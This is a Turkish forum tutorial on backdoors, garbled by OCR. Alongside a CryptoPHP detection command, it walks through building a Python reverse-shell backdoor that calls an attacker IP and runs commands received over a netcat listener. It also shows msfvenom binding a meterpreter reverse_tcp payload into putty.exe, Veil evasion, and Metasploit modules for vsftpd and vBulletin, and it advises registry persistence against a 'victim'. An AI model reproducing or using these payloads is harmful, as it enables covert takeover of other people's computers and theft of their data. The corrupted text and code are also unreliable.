Merhaba Arkadaslar

Tlrkcede Arka Kapi olarak gegcen Backdoor kelimesine uzak olmadigimiz gibi yakinda degiliz. Arka
Kapi terimi Matrixfilminde ki Seraph karakterinin anahtarla agtigi kapilardan ileri gitmiyor. Bunun
disinda farkli filmlerde gecen "arka kapidan sisteme sizdim" ifadesi ise kaliplasmis durumda, bir
anlam ifade etmiyor.

Nedir Bu BackDoor?

Yukarida da belirttigimiz gibi BackDoor, Turkgede "Arka Kapi" anlamina gelmekte. Yazilimsal
sistemlerde kasitli olarak yada bilmeyerek olusturulan agiklara ve sistem girislerine izin veren her tirla
ek yazihimlara verilen genel isimdir. Temel mantik hep aynidir. Hedef sistem(ler) Gzerinde bir arka
kapi agmak ve bu arka kapidan sisteme giriglere izin vermektir.

Cesitli Ornekler Ile BackDoor

Dedigimiz gibi arka kapi algimiz matrix filminden 6teye gitmiyor. Oysa en kiiglk agiklardan en blylk
ek yazilimlarin izin verdigi girislere kadar arka kapilar her yerdedir.

Ornegin SQL Acigi. URL iizerinde ID degerinden sonra tirnak isareti konularak SQL sorgulari
manipule edilir ve ekrana hata mesaji bastirilir. Bundan sonra SQL sorgulari kullanilarak agik
Uzerinden cesitli verilere ulasilabilmektedir (Admin/User tablosu, 6zel mesajlar, kayitl 6zel
metinler vs.). Bu baglamda SQL agiginin neden olmus oldugu guvenlik sorunu bize bir arka kapi
olusturmaktadir.

Bunun yaninda hazir sistemlerin tema ve eklentilerinde bulunan givenlik riskleri de sistem Gzerine
aciklara neden olmaktadir. Bu agiklarin bazilari kodlamada ki hatalardan kaynaklansa da buyuk
cogunlugunda kasith olarak arka kapilar yerlestirilmistir (6zellikle warez tema ve eklentilerde).
Ornegin bir WordPress temasina eklenen kiigiik (ve gizli) bir giris sistemi ile saldirganlar siteye
sizabilir. Yada vBulletin forum sistemi i¢in yazilmis bir eklentinin icerisinde ki tanimlanmamis bos bir
degisken RFI agigina sebep olabilir ve bu bos degisken bir shell adresi ile doldurulabilir.

Web sistemlerinde ki arka kapilarin egemenlidi gercekten biyik olsa da asil blyuk payi isletim
sistemleri ve tarayici tabanli olmayan programlar almaktadir. Bu baglamda arka kapilara en glizel
ornek RAT ve Keylogger yazilimlaridir. Piyasada 6nemli bir yere sahip olan Keyloggerlar kismi arka
kapi 6zelligi gosterir. isminin anlami Tug Kaydedici (key-logger) olan bu yazilimlar klavyede girilen
tuslari kaydetme, belirli araliklar ile ekran goruntisu alma, kayith sifreleri sistemden kopyalama ve
bunlari belli araliklar ile istenilen hedefe ylikleme yada génderme gorevini Ustlenirler. Ayrica 6nceden
yapilan ayarlar ile bilgisayarda cesitli yazilimlarin galismasini engelleyebilirsiniz (Kayit defterini ve
gorev yoneticisini agmayi engelleme gibi). Ancak bir kez ylklendikten sonra ayarlarda degisiklik
gerceklesmeyecektir.



Piyasada arka kapi olusturmak icin kullanilan bir diger yazilim ise RATlardir. Tlrkgede

ismiyle de gecmektedir. Agilimi Rxxx Axxx Trojan olan bu yazilimlar, saldirgan tarafindan
olusturulan server hedef bilgisayarda ¢alismaya basladigi andan itibaren bilgisayar tamamen
saldirganin yonetimine girmektedir. Saldirgan tarafindan anlik olarak tuslar kaydedilebilir, bilgisayar
izlenebilir, sifreler alinabilir, dosya transferleri yapilabilir, programlar engellenip kaldirilabilir kisacasi
kullanicinin o an yapabildigi her sey saldirgan tarafindan da yapilabilmektedir. RAT yazilimlari tam
manasi ile arka kapi sinifina girmektedirler. Bu tiir yazilimlar portlar ile haberlesirler. Ustelik kayit
defterine eklenen girdiler sayesinde bilgisayar her agildiginda kendi kendine baslayabilirler.

En bilindik truva atlari ve

Kodlama Hatasindan Kaynakli Arka Kapilar

Arka kapilar sadece saldirganlar tarafindan olusturulmaz. Yazilimi yazan kisinin dikkatsizligi, yazilan
programin isletim sistemi veya donanim ile uyusmazhgi, kaynak kodda hata yada art niyetli kullanim
sonucu olusan bu hatalar saldirganlar tarafindan tespit edildigi taktirde bu agigi sémirmek amaci ile
cesitli exploitler yazilabilir.

Asagida bir FTP Server yazilimi olan isimli yazilimin 2.3.4. strimunde ki bir agik sebebi ile
hedef sisteme dogrudan sizmaya izin verecek bir exploit gériinmektedir. Bu gtizel bir 6rnek teskil
etmektedir.

msf > search vsftpd
[!] Database not connected or cache not built, using slow search

Matching Modules

Disclosure Date Rank Description

exploit/unix/ftp/vsftpd 234 backdoor 2011-07-03 excellent VSFTPD v2.3
.4 Backdoor Command Execution

Uzerinde buna benzer gesitli exploitler bulunmaktadir. Bunlarda yine ayni
sekilde en iyi 6rneklerdir. Asagida ise bir hazir forum sistemi olan yaziliminin bir
stUriminde, install/upgrade.php dosyasindan kaynakli bir agik olusmustur ve bu agik forumda admin
yetkisine sahip bir kullanici olusturulabilmektedir. Boylece vBulletin yaziliminin agidi1 sayesinde bir
bakima izinsiz kullanici olusturarak sisteme arka kapidan giris yaptik.

Uzerindesearch backdoor diyerek daha ylzlerce exploite ulasabilirsiniz.



Basic options:
Name Current Setting

EMAIL msf@emai}/}oc / ye #The email for the new admin account

PASSWORD passworfy / yeg//;;;?/The passyord for the new admin account

Proxies / / no/ / A profy THain of format type:host:port[,
type:host:port][../] : Vi s S

RHOST yey The, target address

RPORT 80 yes The target port?’,

TARGETURI / =S ;

USERNAME  msf yes

VHOST no HTTD, sefveir yiviual host

Description: .
This module abuses the "instz«T/upgrade.php/ component 9%’vBulletin
4.1+ and 4.5+ to create a new administratof account, az’ exploited in
the wild on October 2013. This module Has Jbeen testz SIécessfyily
on vBulletin 4.1.5 and 4.1.0. S /

References: — /
http://blog.imperva.com/2013/16/threat -advisory-a-vbulletin £xploit -administ raf
tor-injection.html
http://www.osvdb.org/98370
http://www.vbulletin.cem/forum/forum/vbulletin-announcements/vbulletin-announc
ements _aa/3991423-potential-vbulletin-exploit-vbulletsh-4-1-vbulletin-5

A

msf auxiliary(

Web Uygulamalarinda ki Bocek: CryptoPHP

WordPress, Joomla ve Drupal gibi hazir sistemleri kullaniyor Gizerine bir de warez tema ve eklenti
kullaniyorsaniz bu agigdin sizi ilgilendirme riski gok ylksek. 'u belirttigimiz hazir
sistemler yolu ile blyulk sunuculara sizmak igin yazilmis yazilimdir. Tam manasi ile ufak bir resim
dosyasidir ve genel ismi social.png dir. Kullandiginiz tema veya eklentinin bir satirinda diyelim ki
asagida ki koda rastladiniz.

PHP Kod:
<?php include(‘assets/images/social.png’); ?>

Dogal olarak suphe duyarsiniz ki haklisiniz da. Saldirganlar warez olarak dagitilan tema yada
eklentilerin igerisinde bu sekilde kodlari yikler ve sistemde islemeye baslar. Bu acgik ile
sistemde mail kontroll, sunucu iletisimini ele gegirme, manuel olarak kontrol etme gibi yetkileri olur.

CryptoPHP BackDoor Ozellikleri

e Popiiler igerik Yonetim Sistemlerine (CMS) entegre olarak galigir.
e YUklenmis sunucudan bilgi cekebilir.

e Mail ve iletisim bilgilerinin yedegini alabilir.

e Manuel kontrol ile sunucuda komut calistirabilir.

e BackDoor'u otomatik gliincelleyebilir.



Peki bu acik sizin sunucuda var mi? bunu 6grenmek igin sistemde root olarak /home dizinine
gidiyoruz ve asagida ki komutlari ¢alistiriyoruz.

Alinti:

~# cd /home

~# find . \( -name \*.jpg -or -name \*.png -or -name \*.jpeg -or -name \*.gif -or -name \*.bmp\) -type f -
exec file {} \; >> log.txt

Bu komutu calistirdiktan sonra /home dizininde log.txt diye bir dosya olacaktir, bunu bilgisayarimiza
indiriyoruz veSublime-text veya NotePad++ gibi gelismis bir not defteri programi ile aciyoruz.
Actigimiz anda bir arama yapmamiz gerekiyor. Aradigimiz kelime PHP olacaktir (harfe duyarli olsun,
“Case sensitive”).

Sonuglarimizda normal bir resim dosyasi “file.png : PNG image data, 28 x 28, 8-bit/color RGBA, non-
interlaced” diye gorinur fakat CryptoPHP backdoor'u ise “social.png: PHP script text” olarak gosterir.
Bu sayede varligindan haberdar olabiliriz.

http://paste.ubuntu.com/12721459/

Ozel Uretilen Arka Kapilar

Bu tur arka kaplilar, saldirgan tarafindan Uretilen anahtarin hedef sistemde kullaniimasi ile faaliyete
gecen ve saldirganin sistemde yetkili olmasina olanak saglayan tehlikeli bir kapidir. Cesitli programlar
ile bu tr arka kapilar hazirlanabilmektedir. En bariz érnekleri yukarida verdigimiz Rat ve
Keyloggerlardir. Bizde kendi programlama dilimizi kullanarak basit bir backdoor yazabiliriz. Asil amag
sisteme nasil sizildigini géstermektir.


http://paste.ubuntu.com/12721459/

subprocess
socket

. 168.64.159"

contact - socket.socket(socket.AF INET, socket.SOCK STREAM)

contact.connect((host, port))

pc_name subprocess.Popen("whoami”, shell=True,
stdout-subprocess.PIPE, stderr-subprocess.PIPE, stdin-subprocess.PIPE)

pcname pc_name.stdout.read() pc_name.stderr.read()
contact.send("[+] Target Connected: "+str(pcname)+"\n")

1:
data - contact.recv(1624)
data "qT:

comm_line - subprocess.Popen(data, shell-True,
t=subprocess.PIPE, stderr-subprocess.PIPE, stdin-subprocess.PIPE)

output = comm_line.stdout.read() comm_line.stderr.read()
contact.send(output)

contact.send("[*] Connection Closed™)
contact.close()

Resimlerde agiklamalar mevcut. Bu backdoor hedef bilgisayarda galismaya basladiginda, hedef
bilgisayarda hig bir degdisiklik olmadan direk olarak 4. satirda belirtilen IP adresine 5. satirda ki port
araciligi ile istek génderecektir ve boylece bir baglanti saglanacaktir. Hemen

ardindan subprocess modiilu ile bilgisayarin ismi 6grenilecek ve bu isim ile beraber baglanti gittigine
dair bir paket gonderilecektir. Daha sonra hedef bilgisayardan gelen komutlari isleyerek tekrar hedef
bilgisayara génderecektir.

Biz bunu netcat programi ile izleyebiliriz.

nc -1 -p<dinlenen port>
nc -1 -p443

Bu komut ile belirlenen port tGzerinden gelen tim baglantilar dinlenebilir.

:~# nc -1 -p443

[+] Target Connected: [ ——

Goruldugu uzere gelen baglantiyl netcat bize sundu. Simdide ¢alisip galismadigini kontrol edelim
herhangi bir siteye ping gonderelim.



ping google.com

Pinging google.com [173.194.116.233] with 32 bytes of data:
Reply from 173.194.116.233: bytes=32 time=64ms TTL=52
Reply from 173.194.116.233: bytes=32 time=64ms TTL=52
Reply from 173.194.116.233: bytes=32 time=66ms TTL=52
Reply from 173.194.116.233: bytes=32 time=68ms TTL=52

Ping statistics for 173.194.116.233:

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:

Minimum = 64ms, Maximum = 68ms, Average = 65ms

Goruldugu gibi hedef makina Gzerinden ping génderdi. Bununla yapilabilecek o kadar ¢ok sey var ki.
Oysa bu basit bir arka kapi 6rnegidir. Ve tabi ki bunu .py uzantisi ile degil de .exe uzantisi ile
kullanmanizi éneririm. Nedeni acik degil mi? Ayni zamanda yazdiginiz bu programi kayit defterine
eklemeniz sizin igin en mantikl olandir. Sayet kurban bu dosyayi bir kez kullanip bir daha ¢alistirmaya
bilir. Ancak kayit defterine eklenirse bilgisayar her acilisti bizim dosyamiz da kendi kendine
calisacaktir.

Arka Kapiyi Cesitli Uygulamalar Ile Birlestirmek

Guzel bir backdoor yazdiniz yada piyasada ki backdoor érneklerinden birini kullandiniz. Bunu exe
uzantisina donusturip hedef kisiye génderdiniz. Bu uygulama galistirildigina muhtemelen ekranda hig
bir sey olusmayacaktir. Sayet asil amag kullaniciya belli etmemektir. Ancak kullanici bundan
stphelenecektir yinede. Bunu 6nlemek igin backdoor ¢esitli dosyalar ile birlestirilebilir. Bunu yapmak
icin benim en gbézde aracim bir Metasploit Framework araci olan msfvenom yazilimidir.

Ornegin Metasploit tizerindeki Reverse Tcp araglarindan birini kullandigimizi varsayalim.



root@es: ~/Masatistii @ © 0
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:~# cd Masalstl

:~/Masatistiu# 1s

wch2.png Downloads escode Gecici putty.exe veriler XSS

:~/Masausti# msfvenom -p windows/meterpreter/reverse tcp LHOST=192.168.64
.159 -f exe -x putty.exe -k -o putty backdoor.exe
No platform was selected, choosing Msf::Module::Platform::Windows from the paylo
ad
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 299 bytes
Saved as: putty backdoor.exe

:~/Masausti# I

\/
0‘0

putty.exe

putty_backdoor.exe

Tek tiklamada galisan ve bagimliliklara ihtiyag duymayan putty yazihmina bir backdoor yukledik. Bu
herhangi bir Windows bilgisayarda ¢alistigi anda veriler sizin bilgisayariniza akmaya baslayacaktir.
Gelen verileri almak ve kullanma i¢in handleryazihmini kullanabilirsiniz.

Veil Kullanarak Backdoor Olusturmak

Bir Framework olan Veil sizma testleri iginde kullanilabilir bir aragtir. Cok yonlidir ve gergekten is
gorlyor. GitHubsayfasindan kurulum yapilabilir.

GitHub Sayfasi: https://github.com/Veil-Framework/Veil-Evasion

komutu ile icerisinde ki paylodlar listelenebilir.



https://github.com/Veil-Framework/Veil-Evasion

Kullanimi ise istenilen payload yazilir ve gerekli bilgiler girildikten sonra istenilen dizine payload

kaydedilir. Basit ve etkili bir kullanima sahiptir.

RSN R SR A d- B sHl us T /share /veil -output/compiled/veil backdoor.exe
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e1l-output/

Anlatim burada sona ermigtir, konu altindan sorularinizi sorabilirsiniz.

Kolay gelsin arkadaslar

handler.rc




